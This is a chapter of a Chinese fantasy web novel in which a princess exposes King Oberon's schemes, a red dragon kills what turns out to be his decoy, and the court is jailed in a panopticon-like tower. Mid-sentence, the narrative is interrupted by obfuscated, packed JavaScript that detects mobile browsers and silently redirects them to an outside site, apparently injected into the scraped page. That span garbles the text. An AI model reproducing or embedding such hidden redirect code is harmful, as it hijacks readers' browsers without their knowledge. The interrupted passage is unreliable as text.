“我尊敬的陛下，我敬爱的兄长。”塞莱斯特缓步向前，她高瘦、阴沉，像一块怪异的树在这花团锦簇的王宫里被人为地忽视了太久太久。在很长的一段时间里，她不允许向上，于是她向下向外扎根，树的根很深，很长，撬动了这座大花园看似牢固的根基。 “格兰德城人的情绪确实激动，但情有可原，”塞莱斯特走上台阶，抽出佩剑直指奥伯伦的心口，“我可以就这样将你送进死亡的怀抱，但这太轻易了。你应该为你所做的一切付出代价。” 她一手握紧佩剑，一手从身上掏出一沓卷章：“这一份，是你借‘行赏’选拔的名头从大肆收敛的财务清单。你一边信誓旦旦地保证这些财物将会当作奖赏赠予归来的勇士，一边命你的仆从将它们收入你自己的私库，然后封了几个不值当的名头使他们感激涕零，又让他们向下收敛封地上的财物。 “这一份，是你‘行赏’背后的真实目的。你想要杀死红龙，一方面占据龙穴里的财宝，平衡国库收支，一方面盯上了维洛兰王国新开采的矿产，想要通过白岛出兵。你大可以巧言令色，说你只不过是手段激进，实际都是为了拜里科斯着想，毕竟你下的这些命令没有实物证明。 “但你错了，我亲爱的兄长。你是很谨慎，可你忘了，做过的事再小心隐蔽都会留下它的痕迹，再狡猾的老鼠也会被月光照出它途径过哪些地方。你想要占据龙穴的财宝，于是粉饰‘行赏’，骗来倒霉蛋为你卖命——知情者冒险刺杀一头强壮的龙，不知情者为选上奉出大量钱财，还成为刺杀的幌子。 “你想要维洛兰的矿产，不是因为担心拜里科斯缺乏贵重金属，只是你听说那神奇的新矿能带来治愈疾病的奇效——你老了，可你的野心没老，你没有子嗣，又不甘心让我登上王座，更惧怕死亡，所以你甘愿拖着拜里科斯与你的身体一同衰败下去，也不愿王座由别人登上！” 话毕，塞莱斯特一扬手，卷章呼啦啦地漫天飞舞。 弗兰茨伸手从空中接到一张，打开一看，是奥伯伦想要杀死卡塔利娜的确凿证据。下一瞬，他的手中一空，只见卡塔利娜抽走了卷章，她随意地扫视了两下，便穿过神色紧张、交头接耳的人群，向前走去。 “原来，你真的想要杀我——”她的声音不大，花园里的每一个人却听得一清二楚，“你想要杀我，还想要占据我的财宝。” 在众人惊骇的目光中，卡塔利娜赤红的头发随风舞动，她每向前一步，便有赤色的火焰从她脚底升起。当她走至台阶上时，脸颊两侧已浮出细细的鳞片，一身衣服已经被烈火燃尽，红鳞覆盖全身。 随着卡塔利娜的脚步，天边风声猎猎，天色骤然一暗，有隐隐的闷雷声在云层深处滚动，一场突如其来的风暴即将到来—— “就凭你，还想杀我。” 卡塔利娜轻声道，嘴角咧出一个残忍的微笑，她不避两柄利剑，伸手掐住奥伯伦壮硕的脖子，径直将他提了起来。 “啊！她这是要做什么！？” “这实在是……谁都没有想到陛下居然会做这种事情……” “她要弑君吗？” “按照殿下的意思，我们以往‘行赏’的使者，有不少是枉死的吗？” 卡塔利娜的举动实在惊人，她的动作又快，罗斯与塞莱斯特还未来得及阻止她，奥伯伦就已经被她掐得两眼暴突，唇角溢出白沫！ “这还不到时候！” 卡塔利娜并不理会塞莱斯特厉声呵斥，她冷笑一声，手下一个用力，奥伯伦的脖子就这样被她扭断了。 奥伯伦只来得及“嗬嗬”两声，抽搐的双臂颓然落下，卡塔利娜提着他的手臂一甩，他的身体便“砰”一声掉在了地上。 随着这一声响，众人如同落了冰块的油锅，噼里啪啦地吵个不停。 在这议论纷纷中，塞莱斯特难以置信地看向卡塔利娜，声音又低又急：“你在做什么？！这和我们约定的不一样！” “约定？我们可没有做过什么约定。”卡塔利娜侧头瞥向塞莱斯特，哼笑道，“我们之前是见过一面，见面可不等于约定。确实，你与他不同，但在希望我死方面，却很一致——因为一头龙对你们而言，始终是一个威胁。” 她低头看了奥伯伦的尸体一眼，一捧烈火从他的心口处猝然升起。火势来得迅猛，不一会儿，火焰遍布全身，整具尸体熊熊燃烧起来。 “但我不会杀你，这并非我的仁慈之心，我只是在遵循我的母亲对拜里科斯人最后一点的善意，”卡塔利娜直视着塞莱斯特，身侧的烈焰映照着她的脸，显得残忍有诡谲，“格兰德城是我母亲为梅兰妮尔·杜兰德而建，但我不需要。等我拿回我想要的东西，所有的格兰德城人都必须从我的岛屿上离开。” 两人无声对峙，奥伯伦的尸体被烧得噼啪作响，众人惶惶呆立在原地，一动也不敢动。 就在这时，一道极其轻微的炸裂声从那具烧得不成人形的尸体上发出，卡塔利娜警觉地望去，当红鳞瞬间覆盖面部的那一刻，几枚精细的金箭从烈火中射出！ 锵锵！ 金箭射出，被卡塔利娜收紧的鳞片纷纷折断，唯独一支金箭，竟然意外地射中了卡塔利娜的胸口——那处排列错乱的鳞片中，有一线浅浅的缝隙。 “温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029838|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、德、米、尔——！” 卡塔利娜低头看向那枚细小的金箭，片刻，她毫不留情将其拔掉。 卡塔利娜的掌心燃起熊熊烈火，不过一瞬，金箭就已融化为一滩金水，滴滴答答顺着她的指缝往下落。 她右脚一蹬地面，腾空而起，整个平台被她蹬得往下塌陷的同时，她已在空中化作原型。 赤红的巨龙扇动着双翼，飓风袭来，将地面上的人群吹得左摇右晃，失声尖叫。 她的右前爪往下一扬，数枚龙牙降落至泥土之中，瞬息变出人形。 “找到他——”红龙的声音低沉，饱含震怒，她向她忠诚冷酷的战士下达命令，“将真正的奥伯伦·温德米尔带至我身前！” “殿下！” 与此同时，塞莱斯特捂住一只眼睛，鲜血从她的指缝汩汩流出，她挥开扑过来的罗斯，嘶吼道：“带领你的卫队，封锁王宫！将今日现场里的所有人都关押至温底斯塔！必须将奥伯伦找出来！必须！马上！” . 温底斯塔。 弗兰茨靠墙席地而坐，接连不断的水珠从他的耳后擦过，发出紧凑的滴答声。 一只肥硕的老鼠吱吱叫着，大胆地在地面穿梭，惊得一大群人花容失色、放声大叫。 “安静！安静！” 一个体型更加肥硕的看守站在外边，随身携带的铁棍重重地敲击在关押着众人的铁门之外，有些人还攥着栏杆，被她这么一敲，径直坐倒在地。 看守哼笑着看了那人一眼，用力甩了甩铁棍，呼呼作响。她的眼神就像剔骨刀似的刮过每个人，阴恻恻道：“如果不想它敲在你们的脑门上的话，就都给我闭嘴！” 在这里，直白的暴力永远比柔软的权势管用，这一层新关押进来的衣着光鲜亮丽的囚犯们很快就战战兢兢地闭上了嘴。 看守环视一周，这才满意地坐回她的位置。 这就是温底斯塔，一个名字听着好听，却并不是用来观光的地方。 自古以来，塔里一直关押着各种类型的□□们，甚至有所传闻，第一位在这里长久居住、一直到死的人，正是贝莉疯掉的哥哥，贝奇。 而现在，温底斯塔第一次迎来了大批量入住的客人们。 “这里太恐怖了……” 阿奇尔小声抱怨，他的姐姐急忙捂住了他的嘴，但由于温底斯塔建造的特点，这一点儿细小的声音很快就在圆柱形的塔壁间回声一般飘荡起来。 看守眼皮一掀，便精准地看向了发出声音的人。 这就是温底斯塔。 弗兰茨在读书时学习过它，但当他亲自站在这里面的时候，他才意识到这座温底斯塔的险恶之处。 为了最大限度地防止囚犯逃跑，整座塔内的牢房呈圆形分布，看守只需坐在该层中间，便可环视整层囚犯的状态，并且各个囚犯也能看清彼此在做些什么；如果有人想要逃跑，即使看守没有及时发现，同层的囚犯会出于各种扭曲的心理迫不及待地指出来。 但就算他们齐心协力从牢房里逃出来，囚犯也无法顺利离开温底斯塔。这座塔唯一的出口在塔尖，就连看守都要每日乘坐像矿工一样专门的升降装置来换班，杜绝了出逃的可能。 若没有陛下开恩赦免，温底斯塔里绝大多数人，都会在这里度过余生。 而现在——众人脸上写满了绝望，情况如此特殊，他们真的有被赦免的可能吗？